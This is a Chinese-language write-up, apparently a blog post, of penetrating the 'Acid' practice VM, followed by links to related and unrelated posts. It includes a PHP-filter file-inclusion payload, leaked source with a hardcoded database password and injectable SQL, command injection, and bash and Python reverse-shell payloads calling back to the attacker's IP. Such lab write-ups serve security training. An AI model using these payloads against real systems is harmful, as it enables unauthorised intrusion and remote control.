Acid靶机渗透
Acid渗透靶机实战
攻击机:kali 192.168.41.147
靶机: acid 192.168.41.149
信息收集
- ip发现
开启Acid靶机,通过nmap进行局域网存火主机扫描.

- 端口扫描
通过nmap进行端口扫描,因为nmap默认是扫描1000个端口,发现没有开放服务。于是我设置了端口为全端口1-65535

目标主机在33447开了http服务,web服务器是Apache/2.4.10 系统是 Ubuntu ,没有发现cms指纹
开始渗透实战
首先利用dirsearch扫描下网站目录,同时进入网站 http://192.168.41.149:33447/ 看看有没有可以值得利用的地方
查看网页源代码,发现一串16进制的数,转化成字符=> d293LmpwZw==, base64在转化=> wow.jpg

有/images/目录,进入网站的images目录发现403,呢么加个/wow.jpg看看
保存图片到本地,查看有没有隐藏什么信息,直接用winhex打开。发现有一些特别的数字,看着像16进制。txt是个好东西,直接拖进txt里,然后替换:为空
转为字符串解出来是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下
disbuster fuzz
到这就没思路了,接下来该怎么搞,看WP是用dirbuster爆破出来的challenge目录,我的dirrsearch不行啊,煞笔了,网站标题就是/Challenge
百度了下dirbuster的fuzz 目录的用法,fuzz下/Challenge目录下的php文件
找到了**cake.php,include.php,error.php,index.php,hacked.php**
我们先进入Chanllenge目录主页看下,有种似曾相识的感觉,在领航杯的第一次AWD那年,碰到的主页一样
在main.css中找到这几句话
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就让我们去寻找下别的点
cake.php
查看源码中,出现了/Magic_Box的字样,估计是个目录
hacked.php
并没有发现什么东西
error.php
同样,什么东西都没有发现
include.php
看文件名,就知道可能跟文件包含有关系。果然,直接给了个文件包含的页面

当输入index.php时,发现页面会重叠index.php的画面,看来是直接包含了,而不是进入包含的页面,并且url参数有可以利用的点,让我们来用php伪协议来看看源码
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
页面一闪而过,可以bp抓包查看,确实以base64编码格式读取了index.php的源码
index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time(); if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script>
<script type="text/JavaScript" src="js/forms.js"></script> </head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?>
<form action="includes/process_login.php" method="post" name="login_form">
Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" />
Password: <input type="password" placeholder="Password" name="password" id="password"/>
<input type="submit" value="Login" onclick="formhash(this.form, this.form.password);" />
</form>
</div>
<p>You are currently logged <?php echo $logged ?>.</p>
<ul class="bg-bubbles">
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="js/index.js"></script> </body>
</html>
再看下别的页面
hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php'; sec_session_start(); if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
} $id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br>
<form method="get" action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
<input name="add" type="submit" id="add" value="Add ID"> </body>
</html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?> <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php /* Come on....catch this file "tails.php" */
?>
看到hacked.php中,当两个session都有时候才会继续下面的内容,只有当你进入,index.php和protected_page之后,访问hacked.php,才会出现如下页面

好像没啥用啊?把之前找的md5密码拿出来填进去,以为会发现什么有趣的事,结果跟没啥用的页面。
然后发现cake.php最后一行中,有提示tails.php,尝试进入,发现not found,include试试看,也是个302跳转到protected_page(被耍了吗,我去)
然后还是回到原来,发现的Magic_box目录,用dirbuster来fuzz下目录文件

Command injection
发现了一个command.php页面,估计是直接命令执行的页面,我们可以直接反弹个shell,然后找一下真正的flag(我发现了,普通的字典是跑不出来的,OWASP里的字典才行)

命令执行成功,这里可以用; 或者&和|,都可以执行,但是记得urlendoce下,因为是特殊符号,需要url编码,不然可能不会执行

尝试反弹shell,kali,nc监听9090端口,nc -lvvp 9090
>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1 失败
>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 成功反弹shell

提权
然后看一下/etc/passwd,查找一些有用的信息.

发现有两个用户能登陆并且能操作终端
emmmmm,然后不会了,看了WP,不会提权啊,自己尝试百度找找su提权的东西
知识点如下
- sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
- su: 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
- sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
- sudo -i 直接运行sudo命令加-i参数
sudo su 运行sudo命令给su命令提权,运行su命令。
sudo -i 运行结果 PWD=/root
sudo su 运行结果 PWD=/home/用户名(当前用户主目录)
也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。
但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。
我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

OK,su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户
但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆

shadow是真正保存密码的地方,但是我们啥权限都没有---,很悲催,所有者为root,且shadow组下的用户才有查看的权限
到这里好像就走不下去了,偷瞄一眼WP。
接下来我们可以查看下相关用户的文件,利用find / -user 命令
命令:find / -user acid 2>/dev/null 解释下: 2>/dev/null 2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

不加的话,就会提示错误信息,没有权限等等,这样反而给我们阅读造成困扰,本来就没权限的,还需要你再告诉一遍嘛(下面还一堆错误信息
Acid靶机渗透的更多相关文章
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
随机推荐
- [JVM教程与调优] 什么是JVM运行时参数?
我们接着上一章节[JVM教程与调优] JVM都有哪些参数类型?的内容继续讲解,这章我们来介绍一下:如何查看JVM运行时参数.这一点十分重要,因为我们在进行JVM参数调优的时候,我们首先得知道目前系统运 ...
- 最通俗易懂的 HashMap 源码分析解读
HashMap 作为最常用的集合类之一,有必要深入浅出的了解一下.这篇文章会深入到 HashMap 源码,刨析它的存储结构以及工作机制. 1. HashMap 的存储结构 HashMap 的数据存储结 ...
- 20175314 实验五 Java网络编程
20175314 实验五 Java网络编程 一.实验报告封面 课程:Java程序设计 班级:1753班 姓名:薛勐 学号:20175314 指导教师:娄嘉鹏 实验日期:2018年5月31日 实验时间: ...
- linux中的文本处理命令
一.wc :统计文本的行数.字符数. -l:只显示行数 -d:只显示单词数 -c:只显示字符数 二.tr:转换字符或者删除字符 -d:删除字符 三.cut -d:指定分隔符 -f:指定要显示的字段 例 ...
- EOS基础全家桶(五)钱包管理
简介 本篇我们将会学习EOS自带的命令行钱包的使用方法,我们将会使用cleos来控制keosd服务对本地钱包进行管理. 虽然现在市面上已经有很多支持EOS的钱包了,有Web钱包,有app钱包,还有浏览 ...
- Python第三方包之PrettyTable
Python第三方包之PrettyTable 可以让我们将数据用表格的方式展示出来 安装方式 pip install PrettyTable 测试是否安装成功 使用方法与对比 增加一条数据 先简单的看 ...
- 服务器部署Jupyter Notebook
先安装jupyter notebook pip install ipython pip install jupyter 创建一个目录(jupyter notebook工作目录) mkdir jupyt ...
- PTA数据结构与算法题目集(中文) 7-9
PTA数据结构与算法题目集(中文) 7-9 7-9 旅游规划 (25 分) 有了一张自驾旅游路线图,你会知道城市间的高速公路长度.以及该公路要收取的过路费.现在需要你写一个程序,帮助前来咨询的游 ...
- vue-shop项目第二天(用于个人学习的记录)
vue-shop项目第二天 1.实现路由导航守卫功能. router.beforeEach((to, from, next) => { // to 将要访问的路径 from 代表从哪个路径跳转而 ...
- iOS岗位招聘标准水涨船高,五年iOS程序员表示面试太难了
人才济济的iOS开发者,你凭什么脱颖而出? 与岗位要求相去甚远,如何挑战极限? 想去心怡公司,如何马到成功? 那么,你的绝招是什么呢? 在这个iOS岗位供不应求的市场,对iOS开发者对要求日益增长,面 ...